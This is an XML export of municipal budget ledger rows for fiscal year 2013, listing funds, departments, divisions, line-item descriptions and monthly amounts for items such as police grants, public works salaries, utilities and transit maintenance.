<row _id="4334"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>408101.0</object><object_description>9-1-1 VOICE LOGGERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-85480.0</july><august>0</august><september>0.0</september><october>-24416.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-109896.0</total></row>
<row _id="4335"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408320.0</object><object_description>LANDSCAPE &amp; IRRIG PLAN CHECK R</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11000.0</total></row>
<row _id="4336"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555067.0</object><object_description>LANDFILL GAS CONTROL SYST.</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>165658.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>165658.0</total></row>
<row _id="4337"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>284392.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>36424</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>320816.0</total></row>
<row _id="4338"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579320.0</object><object_description>TRANSFER OUT TO CEMETERY FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>23050.0</june><total>23050.0</total></row>
<row _id="4339"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579320.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>-23050.0</june><total>-23050.0</total></row>
<row _id="4340"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="4341"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2013</fiscal_year><july>-200000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="4342"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>814115.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>814115.0</total></row>
<row _id="4343"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19393.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19393.0</total></row>
<row _id="4344"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1230.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1230.0</total></row>
<row _id="4345"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4320.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4320.0</total></row>
<row _id="4346"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1250.0</total></row>
<row _id="4347"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="4348"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533227.0</object><object_description>BLDG/STR MAINT-PARK BLDG</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>185000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>185000.0</total></row>
<row _id="4349"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>380007.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3800</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>383807.0</total></row>
<row _id="4350"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>57004.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>57004.0</total></row>
<row _id="4351"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13764.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>138</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13902.0</total></row>
<row _id="4352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15957.0</july><august>0</august><september>0.0</september><october>-163.0</october><november>0</november><december>0</december><january>0.0</january><february>158</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15952.0</total></row>
<row _id="4353"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6397.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>64</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6461.0</total></row>
<row _id="4354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6436.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6436.0</total></row>
<row _id="4355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6257.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6257.0</total></row>
<row _id="4356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>204622.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2046</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>206668.0</total></row>
<row _id="4357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1774.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>18</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1792.0</total></row>
<row _id="4358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1344.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1344.0</total></row>
<row _id="4359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>960.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>970.0</total></row>
<row _id="4360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>363152.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3632</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>366784.0</total></row>
<row _id="4361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6952.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6952.0</total></row>
<row _id="4362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>250</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25250.0</total></row>
<row _id="4363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>275857.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2759</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>278616.0</total></row>
<row _id="4364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4633.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4633.0</total></row>
<row _id="4365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>29772.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>298</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30070.0</total></row>
<row _id="4366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2748.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>66</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2814.0</total></row>
<row _id="4367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1538.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1538.0</total></row>
<row _id="4368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>576512.0</object><object_description>OTS STEP GRANT 2012</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>2000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="4369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408400.0</object><object_description>LINCOLN BLVD STPL FUNDS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1329643.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>965124.0</march><april>0</april><may>0</may><june>0.0</june><total>-364519.0</total></row>
<row _id="4370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-MEASURE V FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-856724.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-856724.0</total></row>
<row _id="4371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4183.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4183.0</total></row>
<row _id="4372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10730.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10730.0</total></row>
<row _id="4373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>556220.0</object><object_description>EARLY CHILDHOOD DEVELOPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>85000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>85000.0</total></row>
<row _id="4374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544015.0</object><object_description>FIELD EQUIP &amp; TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="4375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20400.0</total></row>
<row _id="4376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400613.0</object><object_description>NEWSRACK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-35530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35530.0</total></row>
<row _id="4377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>650.0</july><august>-115</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>535.0</total></row>
<row _id="4378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>85920.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>85920.0</total></row>
<row _id="4379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>152469.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>152469.0</total></row>
<row _id="4380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>2500</may><june>0.0</june><total>2500.0</total></row>
